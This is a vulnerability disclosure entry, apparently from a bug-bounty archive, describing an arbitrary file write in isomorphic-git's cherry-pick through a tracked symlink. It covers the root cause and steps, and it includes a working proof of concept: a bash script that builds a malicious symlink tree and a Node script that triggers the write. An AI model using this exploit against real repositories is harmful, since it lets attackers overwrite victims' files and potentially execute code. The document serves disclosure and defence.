# isomorphic-git: Arbitrary File Write via Symlink

isomorphic-git's applyTreeChanges during cherry-pick writes blobs without checking leading-path symlinks, letting a tracked `link -> /` redirect writes outside the worktree.

- Payout: Research
- Severity: high
- Program: isomorphic-git
- Found by: HughLewis20
- Disclosed: 2026-11-30
- CVE: CVE-2026-86017
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pvh8-4vwp-j58p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pvh8-4vwp-j58p
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:path-traversal

**Target:** npm library applyTreeChanges / cherry-pick worktree materialization
**Root cause:** applyTreeChanges joins the worktree dir with the tree entry path and calls fs.write without verifying that leading path components are not symlinks, unlike the main checkout path which calls assertNoSymlinkInLeadingPath.
**Steps:**
1. Create repo with tracked symlink `link -> /` and commit it.
2. Build a malicious tree containing `link/tmp/<marker>` via `git mktree` and a commit whose parent is the symlink commit; push to remote branch.
3. Victim clones with `noCheckout: true`, then `git.checkout({ref: HEAD_OID})` to materialize the symlink.
4. Victim runs `git.cherryPick({oid: MAL_COMMIT_OID})`; applyTreeChanges does `join(dir, 'link/tmp/<marker>')` and `fs.write`, following the symlink.
5. Verify `cat /tmp/isomorphic-git-poc-01` shows attacker content.
**How found:** Noticed applyTreeChanges reimplements checkout's file materialization but omits the assertNoSymlinkInLeadingPath guard used at checkout.js:251/324/731, then crafted a tree with a symlink-prefixed path to confirm traversal.
**Exploitation:** Attacker controls a remote repo/branch. Victim clones it, checks out the symlink commit, then cherry-picks the attacker's crafted commit. applyTreeChanges writes the blob through the tracked symlink to an absolute path outside the worktree (e.g. /tmp), enabling file overwrite anywhere the symlink points.
**Escalation:** Symlink target `/` allows writing to any absolute path the process can access; writing into interpreted files or startup paths can yield code execution.
**Insight:** When a codebase has a hardened path-writing helper (assertNoSymlinkInLeadingPath), grep for every other place that joins user/tree-controlled paths and calls fs.write/rm — parallel reimplementations of checkout logic are prime spots for missing symlink guards.

## Proof of concept (copied exactly from the original report)

**Shell script building malicious symlink tree**

```
#!/usr/bin/env bash
set -euo pipefail

REMOTE_URL='ssh://git@127.0.0.1:222/admin/test-repo.git'
BRANCH='isomorphic-poc'
TARGET_DIR='/'
MARKER_NAME='isomorphic-git-poc-01'
MARKER_CONTENT='pwned by isomorphic-git'
BUILD_BASE='./isogit-poc'
REPO_DIR="$BUILD_BASE/repo"

OIDS_FILE="$(cd "$(dirname "$0")" && pwd)/poc-oids.env"

export GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no'

log() { echo "[+] $*" >&2; }

reset_remote_branch() {
  local path="$1"
  git init "$path" -q -b main
  git -C "$path" commit --allow-empty -m reset -q
  git -C "$path" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1
}

# git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid
git_commit() {
  local repo="$1" tree="$2" parent="${3:-}"
  local now tz author body_file oid
  now=$(date +%s)
  tz=$(date +%z)
  author="attacker <attacker@example.com> ${now} ${tz}"
  body_file=$(mktemp)
  {
    echo "tree $tree"
    [ -n "$parent" ] && echo "parent $parent"
    echo "author $author"
    echo "committer $author"
    echo
    echo "poc"
  } > "$body_file"
  oid=$(git -C "$repo" hash-object -w -t commit --stdin < "$body_file")
  rm -f "$body_file"
  echo -n "$oid"
}

main() {
  mkdir -p "$BUILD_BASE"
  local tmp_reset
  tmp_reset=$(mktemp -d)
  trap 'rm -rf "${tmp_reset:-}" "$BUILD_BASE"' EXIT

  reset_remote_branch "$tmp_reset"
  log "reset remote branch $BRANCH"

  rm -rf "$REPO_DIR"
  mkdir -p "$REPO_DIR"
  git init "$REPO_DIR" -q -b main
  ln -s "$TARGET_DIR" "$REPO_DIR/link"
  git -C "$REPO_DIR" add link
  git -C "$REPO_DIR" commit -q -m 'init symlink'
  local head_oid
  head_oid=$(git -C "$REPO_DIR" rev-parse HEAD)

  # Build the malicious tree: link/tmp/<marker>.
  local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid
  blob_oid=$(echo -n "$MARKER_CONTENT" | git -C "$REPO_DIR" hash-object -w --stdin)
  file_tree_oid=$(echo "100644 blob $blob_oid	$MARKER_NAME" | git -C "$REPO_DIR" mktree)
  sub_tree_oid=$(echo "040000 tree $file_tree_oid	tmp" | git -C "$REPO_DIR" mktree)
  mal_tree_oid=$(echo "040000 tree $sub_tree_oid	link" | git -C "$REPO_DIR" mktree)

  mal_commit_oid=$(git_commit "$REPO_DIR" "$mal_tree_oid" "$head_oid")
  git -C "$REPO_DIR" update-ref refs/heads/main "$mal_commit_oid"
  git -C "$REPO_DIR" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1
  log "pushed malicious commit $mal_commit_oid"

  cat > "$OIDS_FILE" <<EOF
HEAD_OID=$head_oid
MAL_COMMIT_OID=$mal_commit_oid
EOF
}

main "$@"
```

**JS cherry-pick trigger from fresh clone**

```
const fs = require('fs')
// Install isomorphic-git v1.38.7 locally before running this PoC:
//   npm install --no-save isomorphic-git@1.38.7
const { default: git } = require('isomorphic-git')

const REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git'
const BRANCH = 'isomorphic-poc'
const VICTIM_DIR = './victim'
const OIDS_FILE = __dirname + '/poc-oids.env'

function loadOids() {
  if (!fs.existsSync(OIDS_FILE)) {
    console.error(`[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)`)
    process.exit(2)
  }
  const env = {}
  for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\n')) {
    const m = line.match(/^([A-Z_]+)=(.*)$/)
    if (m) env[m[1]] = m[2]
  }
  if (!env.HEAD_OID || !env.MAL_COMMIT_OID) {
    console.error(`[-] oids file missing HEAD_OID or MAL_COMMIT_OID`)
    process.exit(2)
  }
  return env
}

async function main() {
  const { HEAD_OID, MAL_COMMIT_OID } = loadOids()

  fs.rmSync(VICTIM_DIR, { recursive: true, force: true })
  fs.mkdirSync(VICTIM_DIR, { recursive: true })

  console.log(`[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}`)
  await git.clone({
    fs,
    http: require('isomorphic-git/http/node'),
    dir: VICTIM_DIR,
    url: REMOTE_URL,
    ref: BRANCH,
    singleBranch: true,
    noCheckout: true,
  })

  console.log(`[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}`)
  await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })

  console.log(`[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}`)
  await git.cherryPick({
    fs,
    dir: VICTIM_DIR,
    oid: MAL_COMMIT_OID,
    author: { name: 'poc', email: 'poc@example.com' },
    committer: { name: 'poc', email: 'poc@example.com' },
  })

  console.log('[+] done')
}

main().catch(err => { console.error(err); process.exit(1) })
```

